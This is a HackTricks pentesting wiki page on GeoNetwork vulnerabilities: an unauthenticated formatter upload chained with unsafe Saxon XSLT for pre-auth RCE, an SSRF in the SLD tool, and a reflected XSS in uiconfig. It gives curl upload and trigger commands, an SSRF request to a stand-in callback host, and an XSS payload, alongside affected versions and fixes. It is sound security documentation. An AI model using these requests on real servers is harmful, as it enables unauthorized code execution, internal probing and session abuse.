geonetwork.md (9178B)
1 --- 2 title: "GeoNetwork" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/geonetwork.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/geonetwork.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # GeoNetwork 14 15 ## Overview 16 17 GeoNetwork is a Java/Spring geospatial metadata catalogue. Metadata objects are **records** identified by UUID, and public records are intentionally readable without authentication. Most application routes are portal-scoped below `/<portal>/api` (commonly `/srv/api`), while XSLT **formatters** transform records into HTML, text, or XML.<sup>[[1]](#references)</sup> 18 19 Useful routes to fingerprint and map are:<sup>[[1]](#references)</sup> 20 21 ```text 22 GET /srv/api/records/{uuid} 23 POST /srv/api/formatters 24 GET /srv/api/records/{uuid}/formatters/{formatter} 25 POST /srv/api/tools/ogc/sld 26 GET /srv/eng/catalog.search 27 ``` 28 29 The application may be deployed below a context path such as `/geonetwork`; preserve that prefix when testing.<sup>[[3]](#references)</sup> 30 31 ## Formatter upload + unsafe XSLT to pre-auth RCE 32 33 ### Missing method-level authorization 34 35 GeoNetwork protects administrative Spring methods individually with `@PreAuthorize("hasAuthority('UserAdmin')")`. In the vulnerable formatter controller, list, download, update, and delete methods had that annotation, but `addFormatter()` did not. The unprotected `POST /{portal}/api/formatters` accepted multipart parameter `file`, derived the formatter name from the uploaded filename, and installed either a raw `.xsl` as `view.xsl` or a formatter ZIP containing `view.xsl`.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup> 36 37 This is a useful white-box audit pattern for Spring applications: compare authorization annotations on **every** mapped method rather than trusting the controller's administrative purpose. Prioritize create, import, upload, and file-writing methods, then trace whether the written object is later parsed, compiled, included, or executed.<sup>[[1]](#references)[[2]](#references)</sup> 38 39 ### Second-stage interpreter trigger 40 41 The vulnerable transformation path created a Saxon transformer without enabling JAXP secure processing and without setting Saxon's `ALLOW_EXTERNAL_FUNCTIONS` to `false`. Saxon's option defaults to enabled in the documented configuration, so a loaded stylesheet can reach Java extension functions such as `java.lang.Runtime.exec()` or `java.lang.ProcessBuilder` and run a command as the GeoNetwork service user.<sup>[[1]](#references)[[4]](#references)[[5]](#references)</sup> 42 43 During an authorized test, create a formatter XSLT using the [Saxon Java extension primitive](/hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations#saxon-reflexive-java-extension-functions). Use a harmless marker, time delay, or controlled callback instead of a destructive command. A raw upload named `htproof.xsl` is installed under formatter name `htproof`; the multipart upload and independent execution trigger are:<sup>[[1]](#references)[[2]](#references)</sup> 44 45 ```bash 46 base='https://target/geonetwork' 47 48 curl -ik -F 'file=@htproof.xsl;filename=htproof.xsl' \ 49 "$base/srv/api/formatters" 50 51 curl -ik \ 52 "$base/srv/api/records/PUBLIC_RECORD_UUID/formatters/htproof" 53 ``` 54 55 Obtain `PUBLIC_RECORD_UUID` from an anonymously visible catalogue result and confirm it with `GET /srv/api/records/{uuid}`. The record only supplies valid XML input; the attacker-selected formatter supplies the executable transformation. Consequently, the file does not need to land in a webroot: **unauthorized formatter creation plus a public formatter-render route is the complete execution chain**.<sup>[[1]](#references)</sup> 56 57 ## SLD tool SSRF 58 59 The vulnerable Styled Layer Descriptor endpoint accepted form field `url` and passed it through `new URI(serverURL)` to `SLDUtil.parseSLD()`. That helper appended `service=WMS`, `request=GetStyles`, `version=1.1.1`, and `layers=<value>` before issuing an HTTP GET, without an allowlist, scheme validation, or private-address restriction.<sup>[[1]](#references)[[6]](#references)[[7]](#references)[[8]](#references)</sup> 60 61 A controlled callback can verify the outbound request. Even if later filter or XML processing fails, the network request occurs first:<sup>[[7]](#references)[[8]](#references)</sup> 62 63 ```bash 64 curl -ik -X POST 'https://target/geonetwork/srv/api/tools/ogc/sld' \ 65 -H 'Content-Type: application/x-www-form-urlencoded' \ 66 --data-urlencode 'url=https://COLLABORATOR.example/probe' \ 67 --data-urlencode 'layers=proof' \ 68 --data-urlencode 'filters={"filters":[]}' 69 ``` 70 71 Test loopback, link-local, and internal destinations only when they are in scope. This SSRF is partially non-blind: GeoNetwork reads the response body, parses it as XML, stores the transformed SLD, and returns a URL from which compatible XML output can be downloaded. Non-XML responses still prove reachability but normally fail before content is returned.<sup>[[1]](#references)[[6]](#references)[[7]](#references)[[8]](#references)</sup> 72 73 ## JavaScript-expression reflected XSS 74 75 The public `catalog.search` route placed `uiconfig` directly into the first JavaScript argument of `gnGlobalSettings.init(...)`. When input must remain a syntactically valid argument, the comma operator is useful: `(alert(1),{})` executes the first expression and evaluates to the empty object expected by the surrounding call.<sup>[[1]](#references)[[10]](#references)</sup> 76 77 ```http 78 GET /srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29 HTTP/1.1 79 Host: target 80 ``` 81 82 This pattern generalizes to JavaScript-context injection where closing the script is unnecessary or filtered: use `(SIDE_EFFECT,VALUE_OF_EXPECTED_TYPE)`. In affected GeoNetwork deployments, same-origin script could also read the non-`HttpOnly` `XSRF-TOKEN` cookie and use it in authenticated requests, so impact is not limited to an alert box.<sup>[[1]](#references)</sup> 83 84 ## Affected versions and remediation 85 86 The coordinated advisories identify these fixed branches:<sup>[[3]](#references)[[4]](#references)[[6]](#references)[[10]](#references)</sup> 87 88 | Primitive | Affected versions documented by the advisory | Fixed | 89 | --- | --- | --- | 90 | Unauthorized formatter upload | `<=4.2.16` and `<=4.4.11` packages (the research traces the regression to the 4.0.6 refactor) | 4.2.17 / 4.4.12 | 91 | Unsafe formatter XSLT | `<=4.2.16` and `<=4.4.11` | 4.2.17 / 4.4.12 | 92 | SLD SSRF | 4.0.0–4.2.16 and 4.4.0–4.4.11 | 4.2.17 / 4.4.12 | 93 | `uiconfig` XSS | 4.4.5–4.4.11 | 4.4.12 | 94 95 Upgrade to **4.2.17, 4.4.12, or a later supported release**. As a temporary control for the RCE chain, deny unauthenticated `POST`, `PUT`, and `PATCH` requests to the exact `/geonetwork/srv/api/formatters` route at the reverse proxy; this also disables legitimate formatter administration until patched. Application fixes must both enforce `UserAdmin` on formatter creation and sandbox XSLT with secure processing plus disabled external functions. The SLD SSRF fix removes the server-side WMS-fetch path rather than relying on URL filtering.<sup>[[3]](#references)[[4]](#references)[[6]](#references)[[9]](#references)</sup> 96 97 ## References 98 99 - [1] [Ethiack - GeoNetwork: PreAuth Remote Code Execution](https://ethiack.com/info-hub/research/geonetwork-preauth-RCE) 100 - [2] [GeoNetwork vulnerable FormatterAdminApi implementation](https://github.com/geonetwork/core-geonetwork/blob/56abcb6ef42f0741cc13caf116894cbd6b2c5eb8/services/src/main/java/org/fao/geonet/api/records/formatters/FormatterAdminApi.java#L353-L433) 101 - [3] [GeoNetwork advisory - unauthenticated formatter upload (GHSA-mh22-prqr-vf42)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-mh22-prqr-vf42) 102 - [4] [GeoNetwork advisory - unsafe Saxon XSLT processing (GHSA-x898-729x-cc3r)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-x898-729x-cc3r) 103 - [5] [Saxon 9.5 configuration feature ALLOW_EXTERNAL_FUNCTIONS](https://www.saxonica.com/documentation9.5/configuration/config-features.html#ALLOW_%C2%ADEXTERNAL_%C2%ADFUNCTIONS) 104 - [6] [GeoNetwork advisory - unauthenticated SSRF in the SLD tool (GHSA-5hx7-j24v-rffj)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5hx7-j24v-rffj) 105 - [7] [GeoNetwork vulnerable SldApi implementation](https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/services/src/main/java/org/fao/geonet/api/sld/SldApi.java#L136-L190) 106 - [8] [GeoNetwork vulnerable SLDUtil implementation](https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/core/src/main/java/org/geonetwork/map/wms/SLDUtil.java#L49-L75) 107 - [9] [GeoNetwork pull request removing vulnerable SLD retrieval](https://github.com/geonetwork/core-geonetwork/pull/9343) 108 - [10] [GeoNetwork advisory - reflected XSS in uiconfig (GHSA-5pq9-ppfw-p83j)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j)